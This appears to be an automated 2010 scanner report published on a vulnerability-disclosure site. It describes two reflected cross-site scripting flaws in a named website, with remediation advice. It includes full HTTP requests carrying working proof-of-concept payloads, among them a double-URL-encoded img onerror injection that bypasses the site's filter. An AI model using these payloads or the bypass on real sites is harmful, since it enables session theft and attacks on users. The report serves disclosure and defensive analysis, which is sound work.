getiturl.com, XSS, CWE-79, Cross site Scripting, CAPEC-86

Cross Site Scripting in getiturl.com | Vulnerability Crawler

Report generated by XSS.CX at Mon Dec 13 18:35:44 CST 2010.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

Loading

1. Cross-site scripting (reflected)

1.1. http://getiturl.com/cnetnews/0200028lq4uq [REST URL parameter 1]

1.2. http://getiturl.com/cnetnews/0200028lq4uq [REST URL parameter 2]


1. Cross-site scripting (reflected)
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://getiturl.com/cnetnews/0200028lq4uq [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://getiturl.com
Path:   /cnetnews/0200028lq4uq

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 51895%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253eb30f153505 was submitted in the REST URL parameter 1. This input was echoed as 51895<img src=a onerror=alert(1)>b30f153505 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /cnetnews51895%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253eb30f153505/0200028lq4uq HTTP/1.1
Host: getiturl.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:12:11 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
Content-Length: 72
Connection: close
Content-Type: text/html

App 'cnetnews51895<img src=a onerror=alert(1)>b30f153505' not recognized
1.2. http://getiturl.com/cnetnews/0200028lq4uq [REST URL parameter 2]  previous

Summary

Severity:   High
Confidence:   Firm
Host:   http://getiturl.com
Path:   /cnetnews/0200028lq4uq

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3c279'%3bcff45d50ad0 was submitted in the REST URL parameter 2. This input was echoed as 3c279';cff45d50ad0 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cnetnews/0200028lq4uq3c279'%3bcff45d50ad0 HTTP/1.1
Host: getiturl.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Tue, 14 Dec 2010 00:12:09 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
P3P: CP="NON DSP ADM DEV PSA PSD CON OTP OUR UNR IND STP PRE UNI NAV DEM"
Set-Cookie: bid=3c8286a9f12ef9f3811e18def275609f; expires=Wed, 14-Dec-2011 00:12:09 GMT; path=/; domain=getiturl.com
Content-Length: 6487
Connection: close
Content-Type: text/html

<HTML>
<HEAD>
<TITLE>GET IT: Mobile</TITLE>
<LINK REL="stylesheet" TYPE="text/css" HREF="http://getiturl.com/css/1/web-main.css" />
<SCRIPT LANGUAGE="javascript" TYPE="text/javascript">

var poll_coun
...[SNIP]...
ue.replace( /[^0-9]/g, '' );
n = n.replace( /^1*/, '' );
if ( check_number( n ) )
{
var f = document.getElementById( 'device-form' );
f.action = 'http://getiturl.com/cnetnews/0201k6o930uq3c279';cff45d50ad0/' + n;
f.submit();
} else
{
alert( 'You must enter a valid 10 digit US mobile number.' );
}
}

function check_email()
{
var n = document.getElementById( 'email' ).value;
window.locat
...[SNIP]...
Report generated by XSS.CX at Mon Dec 13 18:35:44 CST 2010.